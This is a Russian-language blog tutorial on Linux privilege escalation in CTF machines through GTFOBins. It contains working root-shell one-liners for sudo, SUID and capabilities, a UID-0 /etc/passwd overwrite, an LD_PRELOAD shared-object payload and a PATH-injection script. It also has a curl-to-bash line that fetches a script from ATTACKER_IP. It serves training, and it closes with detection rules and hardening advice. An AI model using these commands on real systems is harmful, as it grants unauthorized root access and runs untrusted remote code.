
На одном из боксов HackTheBox я три часа искал kernel exploit на машине с ядром 5.15 — прогонял suggester'ы, компилировал PoC, ловил segfault. Потом набрал sudo -l, увидел NOPASSWD для /usr/bin/env и закрыл машину одной командой из GTFOBins: sudo env /bin/bash. Восемь секунд от foothold до root. Ситуация повторяется на CTF-площадках настолько часто, что можно считать её правилом: игроки ищут сложное, пропуская очевидное. Большинство Linux-машин решаются через мисконфигурации sudo, SUID-бинарников и capabilities — всё задокументировано в одном открытом справочнике. Дальше — про то, как выстроить системный подход к поиску этих мисконфигураций и не тратить часы там, где хватит минуты.
GTFOBins (gtfobins.github.io) — курируемый справочник стандартных Unix-бинарников, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах. Ключевое слово — «стандартных». Это не база эксплойтов и не список уязвимостей. find, vim, python, awk, env, docker — легитимные утилиты, присутствующие на большинстве Linux-машин. Проблема не в бинарниках, а в том, как админ настроил права на их запуск. Подробнее — в нашем статье о linux для пентестера.
Для каждого бинарника GTFOBins показывает точную команду эксплуатации в нескольких контекстах: Shell (запуск интерактивного шелла), File read (чтение произвольных файлов), File write (запись), Reverse shell, SUID, Sudo, Capabilities. Находка «у пользователя есть sudo на find» превращается в готовый root-шелл за секунды — без написания эксплойтов, без компиляции, одним one-liner'ом.
В терминах MITRE ATT&CK использование GTFOBins покрывает две техники: Setuid and Setgid (T1548.001, Privilege Escalation) для SUID-бинарников и Sudo and Sudo Caching (T1548.003, Privilege Escalation) для sudo-мисконфигураций. На CTF-площадках это самые частые векторы — и самые быстрые по времени эксплуатации. Как описывают сами авторы проекта: это «compendium about how to live off the land when you only have certain binaries available». Живём с тем, что есть на машине, — и берём root.
GTFOBins классифицирует каждый бинарник по контексту, в котором он становится опасным. Для CTF-игрока критичны три: sudo, SUID и capabilities. Разница между ними определяет и команду поиска, и команду эксплуатации, и даже синтаксис one-liner'а.
sudo -l — буквально первое, что я набираю после получения шелла. Команда показывает, какие программы текущий пользователь может запускать через sudo и на каких условиях. Если в выводе есть NOPASSWD и любой бинарник из GTFOBins — root фактически уже получен.
Типичный вывод: User www-data may run the following commands on target: (root) NOPASSWD: /usr/bin/find. Открываешь GTFOBins, ищешь find, смотришь раздел «Sudo», копируешь one-liner: sudo find . -exec /bin/sh \; -quit. Shell от root. Всё.
Но sudo -l не всегда показывает NOPASSWD. Иногда бинарник разрешён с паролем — если пароль текущего пользователя известен (нашли в конфиге, .bash_history, переменных окружения), вектор всё равно рабочий. Главное — увидеть в списке бинарник, который есть на GTFOBins.
Что проверять в выводе sudo -l помимо самого бинарника:
LD_PRELOAD и LD_LIBRARY_PATH тут критичныSUID-бит (Set User ID) заставляет файл выполняться с правами его владельца, а не запускающего пользователя. Если владелец — root, любой пользователь при запуске получает root-контекст выполнения. В MITRE ATT&CK это техника Setuid and Setgid (T1548.001, Privilege Escalation).
Команда поиска SUID бинарников: find / -perm -4000 -type f -ls 2>/dev/null. Результат — список файлов с установленным SUID-битом. Стандартные вроде /usr/bin/passwd, /usr/bin/mount, /usr/bin/ping — норма, они тут по дизайну. Интересуют нестандартные: бинарники в /opt/, /usr/local/bin/, или знакомые утилиты (find, vim, python, bash) с SUID, которого быть не должно.
Принципиальная разница с sudo-контекстом: при SUID-эксплуатации через GTFOBins нужен флаг -p для шелла, чтобы сохранить привилегированный контекст. Для find с SUID: find . -exec /bin/sh -p \; -quit (обратите внимание на -p). В sudo-контексте -p не нужен. GTFOBins показывает эту разницу явно — раздел «SUID» отличается от раздела «Sudo» для каждого бинарника. Забыл -p — получил шелл от себя же. Обидно.
Ещё один момент: если SUID-бинарник кастомный (не из стандартного набора GTFOBins), анализируйте его через strings и ltrace. Если бинарник вызывает утилиту без абсолютного пути (просто cp вместо /usr/bin/cp), это PATH injection — разберу ниже.
Capabilities — механизм гранулярного разделения привилегий root на отдельные «способности». Бинарник с capability cap_setuid+ep может менять UID процесса, что фактически эквивалентно SUID-биту. Но — и в этом ловушка — capabilities не отображаются через ls -la и не находятся стандартным find -perm -4000.
Команда поиска: getcap -r / 2>/dev/null. Если в выводе появляется что-то вроде /usr/bin/python3.8 = cap_setuid+ep — это прямой путь к root. В разделе «Capabilities» для python на GTFOBins указан one-liner, который через os.setuid(0) сбрасывает UID на root и запускает шелл.
На CTF-площадках capabilities — часто финальный этап, когда sudo и SUID ничего не дали. Многие игроки забывают про getcap и пропускают этот вектор полностью. LinPEAS проверяет capabilities автоматически и подсвечивает опасные, но ручная проверка через getcap быстрее, если знаешь, что искать. Помимо cap_setuid, опасны cap_dac_read_search (чтение любых файлов) и cap_dac_override (запись в любые файлы).
Конкретный алгоритм, который я использую на каждой Linux-машине CTF. Три этапа: enumeration, сопоставление, эксплуатация.
Этап 1 — быстрая разведка. Три команды, в этом порядке:
sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
Первая показывает sudo-права. Вторая — SUID-бинарники. Третья — capabilities. На девяти из десяти CTF-машин одна из трёх даст результат. Если все три пустые — переходим к расширенной разведке: cat /etc/crontab, проверка writable-скриптов, uname -a для kernel exploits, запуск LinPEAS.
Предварительно стоит выполнить базовую ориентировку: whoami, id (проверить группы — docker, lxd, disk дают отдельные векторы), hostname, uname -a. Это System Owner/User Discovery (T1033) и System Information Discovery (T1082) по MITRE ATT&CK.
Этап 2 — сопоставление с GTFOBins. Каждый найденный бинарник проверяем на gtfobins.github.io. Поиск по имени утилиты. Бинарник есть в справочнике — смотрим соответствующий раздел (Sudo, SUID или Capabilities в зависимости от того, как нашли). Нет в справочнике — анализируем вручную через strings и strace.
Этап 3 — эксплуатация. Копируем one-liner из GTFOBins, вставляем в терминал. Для sudo-контекста — как есть. Для SUID — с флагом -p в шелле. Для capabilities — убеждаемся, что используем правильный интерпретатор (python3 vs python).
Весь чейн занимает от 10 секунд (sudo -l сразу показывает NOPASSWD для known binary) до 5-10 минут (если нужно анализировать кастомный бинарник). Быстрее любого kernel exploit и надёжнее.
Не все записи GTFOBins одинаково полезны на CTF. Вот те, что встречаются чаще всего, с командами для каждого контекста:
| Бинарник | Sudo | SUID | Capabilities |
|---|---|---|---|
| find | sudo find . -exec /bin/sh \; -quit |
find . -exec /bin/sh -p \; -quit |
Редко |
| vim | sudo vim -c ':!sh' |
vim -c ':py import os; os.execl("/bin/sh","sh","-p")' |
Редко |
| python | sudo python -c 'import os;os.system("/bin/sh")' |
Через os.execl с -p | python -c 'import os;os.setuid(0);os.system("/bin/sh")' |
| awk | sudo awk 'BEGIN {system("/bin/sh")}' |
Аналогично с -p | Редко |
| env | sudo env /bin/sh |
env /bin/sh -p |
Редко |
| bash | sudo bash |
bash -p |
Редко |
| less | sudo less /etc/shadow, затем !sh |
Аналогично | Редко |
| curl | Чтение/запись файлов как root | Чтение/запись файлов | Редко |
| docker | sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
Нет | Нет |
find и vim — абсолютные лидеры по частоте появления на CTF. docker — особый случай: если пользователь в группе docker (видно через id), root получается без sudo и без SUID. Монтирование корневой файловой системы хоста внутрь контейнера даёт полный доступ ко всем файлам. Команда docker run -v /:/mnt --rm -it alpine chroot /mnt sh — чистый root-шелл. Членство в группе lxd работает аналогично.
env — одна из самых недооценённых записей. Команда sudo env /bin/sh выглядит настолько простой, что кажется — ну не может это работать. Но env при запуске через sudo наследует привилегии и просто передаёт их вызываемому процессу. Один аргумент — путь к шеллу. Без флагов, без трюков. Просто работает.
GTFOBins — не только про получение интерактивного шелла. File read и file write через привилегированный бинарник иногда ценнее, чем root-шелл. На CTF часто нужно прочитать флаг из /root/root.txt — для этого не обязательно получать полноценный рут.
Чтение файлов. find /root/root.txt -exec cat {} \; в SUID-контексте прочитает любой файл от имени root. На странице GTFOBins для find поддерживается чтение через -exec cat {} \; во всех контекстах: Unprivileged, Sudo, SUID. curl с SUID может прочитать локальный файл: curl file:///etc/shadow. Даже base64 с SUID позволяет: кодируем файл в base64, декодируем на лету, получаем содержимое.
Запись файлов. Для find GTFOBins документирует запись через -fprintf: find / -fprintf /path/to/output-file DATA -quit. DATA — форматная строка, поддерживает escape-последовательности. На практике это означает возможность добавить пользователя с UID 0 в /etc/passwd.
Типичный сценарий: у curl стоит SUID. Генерируем хэш пароля командой openssl passwd -6 -salt xyz password123, получаем SHA-512 хэш. Формируем строку вида newroot:$6$xyz$HASH:0:0:root:/root:/bin/bash, создаём модифицированный /etc/passwd с этой строкой и перезаписываем оригинал через curl. После su newroot с паролем password123 — root без единого shell escape. На Хабре в статье JetInfoSystems описан ровно этот сценарий для бинарника curl с SUID: скачал /etc/passwd на атакующую машину, поменял UID, загрузил обратно.
Подмена /etc/passwd — рабочий вектор, если у файла некорректные права на запись (что бывает на CTF) или если у привилегированного бинарника есть возможность записи. Четверть CTF-машин, где прямой шелл-эскейп заблокирован, решается именно через запись файлов.
LinPEAS автоматизирует разведку и добавляет сотни проверок поверх ручного перебора. Но вывод — простыня на десятки экранов. Чтобы не тонуть в этом, нужно знать, какие блоки относятся к GTFOBins.
LinPEAS использует цветовую маркировку: красно-жёлтые строки — потенциальные векторы повышения привилегий. В контексте GTFOBins ищите:
sudo -l. NOPASSWD и знакомый бинарник — сразу на GTFOBinsgetcap. Бинарник с cap_setuid подсвечен как критическийДоставка LinPEAS: поднимаете HTTP-сервер на атакующей машине (python3 -m http.server 8080), на целевой выполняете curl http://ATTACKER_IP:8080/linpeas.sh | bash. Вывод стоит сохранять: curl ... | bash | tee /tmp/lp.txt — чтобы грепать потом, а не листать заново.
Связка простая: LinPEAS находит бинарник → проверяете на GTFOBins → копируете one-liner → root. На типичной CTF-машине это 3-5 минут. Если LinPEAS не запускается (урезанный контейнер, нет bash), альтернатива — LinEnum: менее детализирован, но работает на sh. Для мониторинга процессов в реальном времени — pspy: незаменим, когда cron-задачи скрыты от cat /etc/crontab, но выполняются от root. Формула на бумаге понятна, но реальная скорость enumeration нарабатывается только на практике — готовые стенды для этого есть, например, на HackerLab.pro, российской CTF-платформе с категориями web, pwn, forensics, crypto и другими (нужна регистрация).
Не всегда sudo -l показывает бинарник из GTFOBins в чистом виде. Иногда sudo настроен с ограничениями: конкретные аргументы, запрет -exec, фильтрация по файлам. Тут начинается интересное.
LD_PRELOAD. Если sudo -l содержит env_keep+=LD_PRELOAD, sudo сохраняет эту переменную окружения при запуске программы. Можно скомпилировать shared object, который при загрузке сбросит UID на 0 и запустит шелл:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Компилируется: gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c. Запускается: sudo LD_PRELOAD=/tmp/evil.so /usr/bin/allowed_binary. Результат — root shell, даже если allowed_binary не имеет ни одного shell escape в GTFOBins. Неважно, что за программа разрешена в sudo — LD_PRELOAD подгружает ваш код до запуска основного бинарника.
Аналогично работает LD_LIBRARY_PATH: подменяем shared object, который использует разрешённый бинарник. Через ldd /usr/bin/allowed_binary выясняем зависимости, создаём одноимённый .so с payload, указываем sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binary.
PATH injection для кастомных SUID-бинарников. Если кастомный бинарник с SUID вызывает утилиту без абсолютного пути (просто cp вместо /usr/bin/cp — видно через strings), подставляем свой бинарник:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH
/opt/custom-suid-binary
Кастомный бинарник запустится, вызовет cp, но из PATH первым найдёт наш /tmp/cp — и выполнит его с правами root. Красота.
Restricted shell breakout. Иногда после foothold вы в ограниченном шелле (rbash, rksh): нельзя использовать /, менять PATH, запускать произвольные команды. GTFOBins помогает и тут. Если доступен vi или vim: :set shell=/bin/bash, затем :shell. awk 'BEGIN {system("/bin/bash")}' тоже обходит ограничения rbash. less с последующим !bash — ещё один вариант. Все эти shell escape задокументированы на GTFOBins в разделе «Shell» для соответствующих бинарников.
Для attack-defense CTF и для полноты картины — как детектить использование GTFOBins.
В репозитории SigmaHQ есть правило proc_creation_lnx_setgid_setuid.yml, которое детектирует создание процессов с изменением setuid/setgid — прямое обнаружение SUID-эксплуатации (T1548.001). Правило file_event_lnx_persistence_sudoers_files.yml отслеживает модификации sudoers (T1548.003) — если атакующий добавляет себе sudo-права для закрепления. Правила для обнаружения обхода sudo через CVE-2019-14287 (lnx_sudo_exploit_cve_2019_14287.yml) ловят запуск sudo -u#-1 — классическую технику, когда sudo разрешён для конкретного пользователя, но не для root.
По классификации MITRE D3FEND контрмерами для sudo-злоупотреблений служат System File Analysis (D3-SFA) — мониторинг sudoers — и File Encryption (D3-FE). Для SUID: Configuration Inventory (D3-CI) — инвентаризация файлов с SUID-битом и сравнение с эталоном.
Hardening сводится к трём действиям: убрать SUID с бинарников, которым он не нужен (chmod u-s /path/to/binary), ужесточить sudoers (минимум NOPASSWD, запрет на интерпретаторы из GTFOBins), аудировать capabilities через getcap -r / регулярно.
Большинство руководств по повышению привилегий Linux заканчиваются списком техник и парой примеров. На практике GTFOBins — не проблема знания, а проблема скорости. Справочник открыт, все one-liner'ы на расстоянии клика. Но разница между «знаю, что GTFOBins существует» и «за 30 секунд нашёл вектор, за 10 поднял root» — это разница между решённой машиной и потерянным часом на CTF-таймере. Я вижу это на каждом соревновании: команды, начинающие с kernel exploit suggester, стабильно финишируют позже тех, кто первым делом прогоняет sudo -l → SUID → capabilities.
Второй момент, который мало обсуждают: GTFOBins всё больше сдвигается в сторону file read/file write, а не только shell spawn. Авторы CTF-машин начали блокировать shell escape через seccomp и AppArmor, оставляя только чтение и запись файлов как рабочий вектор. Кто не тренировал эти сценарии — будет стоять перед машиной с бесполезным shell one-liner'ом. Формат CTF эволюционирует быстрее, чем большинство гайдов по privesc, и привычка «нашёл SUID → получил шелл» начинает давать сбои. Если хочешь не просто writeup'ы читать, а пройти цепочку от enumeration до root руками — на WAPT эту прогрессию разбирают в лабах с нарастающей сложностью.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...